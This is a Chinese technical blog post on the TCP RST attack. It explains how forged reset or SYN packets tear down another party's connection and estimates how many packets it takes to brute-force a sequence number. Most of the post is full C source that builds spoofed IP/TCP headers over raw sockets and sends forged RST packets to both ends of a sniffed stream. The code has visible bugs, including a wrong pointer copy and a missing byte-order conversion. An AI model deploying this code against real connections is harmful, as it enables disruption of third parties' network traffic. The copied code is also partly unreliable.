参考
https://www.cnblogs.com/jinxiaopeng/p/4201030.html
比较有用的
https://www.cnblogs.com/sybtjp/archive/2012/05/17/2506153.html
其他
https://blog.csdn.net/qq_43684922/article/details/89843306
一 RST攻击:
A和服务器B之间建立了TCP连接,此时C伪造了一个TCP包发给B,使B异常的断开了与A之间的TCP连接,就是RST攻击了。实际上从上面RST标志位的功能已经可以看出这种攻击如何达到效果了。
那么伪造什么样的TCP包可以达成目的呢?我们至顶向下的看。
假定C伪装成A发过去的包,这个包如果是RST包的话,毫无疑问,B将会丢弃与A的缓冲区上所有数据,强制关掉连接。
如果发过去的包是SYN包,那么,B会表示A已经发疯了(与OS的实现有关),正常连接时又来建新连接,B主动向A发个RST包,并在自己这端强制关掉连接。
这两种方式都能够达到复位攻击的效果。似乎挺恐怖,然而关键是,如何能伪造成A发给B的包呢?这里有两个关键因素,源端口和序列号。
一个TCP连接都是四元组,由源IP、源端口、目标IP、目标端口唯一确定一个连接。所以,如果C要伪造A发给B的包,要在上面提到的IP头和TCP头,把源IP、源端口、目标IP、目标端口都填对。这里B作为服务器,IP和端口是公开的,A是我们要下手的目标,IP当然知道,但A的源端口就不清楚了,因为这可能是A随机生成的。当然,如果能够对常见的OS如windows和linux找出生成source port规律的话,还是可以搞定的。
序列号问题是与滑动窗口对应的,伪造的TCP包里需要填序列号,如果序列号的值不在A之前向B发送时B的滑动窗口内,B是会主动丢弃的。所以我们要找到能落到当时的AB间滑动窗口的序列号。这个可以暴力解决,因为一个sequence长度是32位,取值范围0-4294967296,如果窗口大小像上图中我抓到的windows下的65535的话,只需要相除,就知道最多只需要发65537(4294967296/65535=65537)个包就能有一个序列号落到滑动窗口内。RST包是很小的,IP头+TCP头也才40字节,算算我们的带宽就知道这实在只需要几秒钟就能搞定。
那么,序列号不是问题,源端口会麻烦点,如果各个操作系统不能完全随机的生成源端口,或者黑客们能通过其他方式获取到source port,RST攻击易如反掌,后果很严重。
引用自:http://www.cnblogs.com/sybtjp/archive/2012/05/17/2506153.html
二,包构造原理:
构造IP(IPV4)
构造TCP伪头:
//定义伪TCP首部
typedef struct
{
struct in_addr saddr; //源IP地址
struct in_addr daddr; //目的IP地址
char mbz; // mbz = must be zero, 用于填充对齐
char protocal; //8位协议号
unsigned short tcpl; // TCP包长度
}psdheader_t;
构造TCP:
三,代码分析:
1 #ifndef MAIL_KILL_H_INCLUDED
2 #define MAIL_KILL_H_INCLUDED
3 #include <stdio.h>
4 #include <stdlib.h>
5 #include <string.h>
6 #include <arpa/inet.h>
7 #include "nids.h"
8 #include <errno.h>
9 #include <unistd.h>
10 #include <netdb.h>
11 #include <sys/socket.h>
12 #include <sys/types.h>
13 #include <netinet/in.h>
14 #include <netinet/ip.h>
15 #include <linux/tcp.h>
16 //定义伪TCP首部
17 typedef struct
18 {
19 struct in_addr saddr; //源IP地址
20 struct in_addr daddr; //目的IP地址
21 char mbz; // mbz = must be zero, 用于填充对齐
22 char protocal; //8位协议号
23 unsigned short tcpl; // TCP包长度
24 }psdheader_t;
25
26 unsigned short checksum(unsigned short *buffer, int size);//计算校验和
27
28 int bird_kill(struct tcp_stream *tcp_connection);//构造并发送封堵包
29 #endif // MAIL_KILL_H_INCLUDED
1 #include "headers/bird_kill_tcp.h"
2
3 unsigned short checksum(unsigned short *buffer, int size)
4 {
5 unsigned long cksum = 0;
6 while(size>1)
7 {
8 cksum += *buffer++;
9 size -= sizeof(unsigned short);
10 }
11 if(size)
12 {
13 cksum += *(unsigned char*)buffer;
14 }
15 cksum = (cksum>>16) + (cksum&0xffff);
16 cksum += (cksum>>16);
17 return (unsigned short)(~cksum);
18 }
19 int bird_kill(struct tcp_stream *tcp_connection)
20 {
21 psdheader_t tcp_psdhead;
22 int skfd_1=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
23 int skfd_2=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
24 char *buf_client,*buf_server,*tcp_psd_buffer;
25 setsockopt(skfd_1,IPPROTO_IP,IP_HDRINCL,"1",sizeof("1"));
26 setsockopt(skfd_2,IPPROTO_IP,IP_HDRINCL,"1",sizeof("1"));
27 int ip_len;
28 int i =0;
29 u_int16_t win = 32000;
30
31 ip_len = sizeof(struct ip)+sizeof(struct tcphdr);
32 buf_client=malloc(ip_len);
33 buf_server=malloc(ip_len);
34 tcp_psd_buffer=malloc(ip_len);
35 struct ip *ip_client=(struct ip *)buf_client;
36 struct ip *ip_server=(struct ip *)buf_server;
37 struct tcphdr *tcp_client=(struct tcphdr*)(buf_client+sizeof(struct ip));
38 struct tcphdr *tcp_server=(struct tcphdr*)(buf_server+sizeof(struct ip));
39 struct sockaddr_in target_1,target_2;
40
41 bzero(&target_1,sizeof(struct sockaddr_in));//客户端
42 bzero(&target_2,sizeof(struct sockaddr_in));//服务器端
43 target_1.sin_family=AF_INET;
44 target_1.sin_port=htons(tcp_connection->addr.source);//客户端端口
45 target_1.sin_addr.s_addr=tcp_connection->addr.saddr;//客户端地址
46 target_2.sin_family=AF_INET;
47 target_2.sin_port=htons(tcp_connection->addr.dest);//服务器端口
48 target_2.sin_addr.s_addr=tcp_connection->addr.daddr;//服务器地址
49
50 /*****************客户端**********************/
51 /*****************IP 头构造**********************/
52 ip_client->ip_v = 4;
53 ip_client->ip_hl = 5;
54 ip_client->ip_tos = 0;
55 ip_client->ip_len = sizeof(struct ip)+sizeof(struct tcphdr);
56 ip_client->ip_id=htons(12345);
57 ip_client->ip_off=0;
58 ip_client->ip_ttl=64;
59 ip_client->ip_p=IPPROTO_TCP;
60 ip_client->ip_sum=0;
61 ip_client->ip_dst=target_2.sin_addr;//目的地址
62 ip_client->ip_src=target_1.sin_addr;//源地址
63 ip_client->ip_sum=checksum((unsigned short*)buf_client,sizeof(struct ip));
64 /*****************伪头构造**********************/
65 bzero(&tcp_psdhead,sizeof(tcp_psdhead));
66 bzero(tcp_psd_buffer,ip_len);
67 tcp_psdhead.mbz=0;
68 tcp_psdhead.saddr=target_1.sin_addr;
69 tcp_psdhead.daddr=target_2.sin_addr;
70 tcp_psdhead.protocal=IPPROTO_TCP;
71 tcp_psdhead.tcpl=htons(20);
72 /*****************TCP头构造**********************/
73 tcp_client->source = target_1.sin_port;
74 tcp_client->dest = target_2.sin_port;
75 tcp_client->seq =htonl(tcp_connection->client.seq + tcp_connection->server.window / 2);
76 tcp_client->ack_seq=0;
77 tcp_client->doff=5;
78 tcp_client->window=htons(win);//htobe16(tcp_connection->server.window);
79 tcp_client->rst= 1;
80 tcp_client->fin=0;
81 tcp_client->syn=0;
82 tcp_client->urg=0;
83 tcp_client->ack=0;
84 tcp_client->psh=0;
85 tcp_client->check = 0;
86
87 printf(" #发给客户端的包\n");
88 memcpy(tcp_psd_buffer,&tcp_psdhead,sizeof(tcp_psdhead));
89 memcpy(tcp_psd_buffer+sizeof(tcp_psdhead),tcp_client,sizeof(struct tcphdr));
90 tcp_client->check=checksum((unsigned short*)tcp_psd_buffer,sizeof(tcp_psdhead)+sizeof(struct tcphdr));
91 sendto(skfd_2,buf_client,ip_len,0,(struct sockaddr *)&target_2,sizeof(struct sockaddr));
92
93 /*****************服务器端**********************/
94 /*****************IP 头构造**********************/
95 //开始填充IP首部
96 ip_server->ip_v = 4;
97 ip_server->ip_hl = 5;
98 ip_server->ip_tos = 0;
99 ip_server->ip_len = sizeof(struct ip)+sizeof(struct tcphdr);
100 ip_server->ip_id=htons(12345);
101 ip_server->ip_off=0;
102 ip_server->ip_ttl=64;
103 ip_server->ip_p=IPPROTO_TCP;
104 ip_server->ip_sum=0;
105 ip_server->ip_dst=target_1.sin_addr;//目的地址
106 ip_server->ip_src=target_2.sin_addr;//源地址
107 ip_server->ip_sum=checksum((unsigned short*)buf_server,sizeof(struct ip));
108 /*****************伪头构造**********************/
109 bzero(&tcp_psdhead,sizeof(tcp_psdhead));
110 bzero(tcp_psd_buffer,ip_len);
111 tcp_psdhead.mbz=0;
112 tcp_psdhead.saddr=target_2.sin_addr;
113 tcp_psdhead.daddr=target_1.sin_addr;
114 tcp_psdhead.protocal=IPPROTO_TCP;
115 tcp_psdhead.tcpl=20;
116 /*****************TCP头构造**********************/
117 tcp_server->source = target_2.sin_port;
118 tcp_server->dest = target_1.sin_port;
119 tcp_server->seq =htonl(tcp_connection->server.seq + tcp_connection->client.window / 2);
120 tcp_server->ack_seq=0;
121 tcp_server->doff=5;
122 tcp_server->window=htons(win);
123 tcp_server->rst= 1;
124 tcp_server->fin=0;
125 tcp_server->syn=0;
126 tcp_server->urg=0;
127 tcp_server->ack=0;
128 tcp_server->psh=0;
129 tcp_server->check = 0;
130 memcpy(tcp_psd_buffer,&tcp_psdhead,sizeof(tcp_psdhead));
131 memcpy(tcp_psd_buffer+sizeof(tcp_psdhead),&tcp_server,sizeof(struct tcphdr));
132 tcp_server->check=checksum((unsigned short*)tcp_psd_buffer,sizeof(tcp_psdhead)+sizeof(struct tcphdr));
133 /*****************发送包**********************/
134 sendto(skfd_2,buf_server,ip_len,0,(struct sockaddr *)&target_2,sizeof(struct sockaddr));
135 printf(" #发送给服务端的包\n");
136
137 free(buf_client);
138 free(buf_server);
139 free(tcp_psd_buffer);
140 close(skfd_1);
141 close(skfd_2);
142 return 0;
143 }
四,PS:
(1)为了增加成功率,发送双向RST包
(2)本包的构造参考了libnids中nids_killtcp()函数,由于直接基于RAW_SOCKET发送,效率略高,但函数有待继续封装复用
(3)构造包的过程中需要注意网络字节序的转换
(4)构造封堵包最重要的是序列号的计算,算法可以适当调整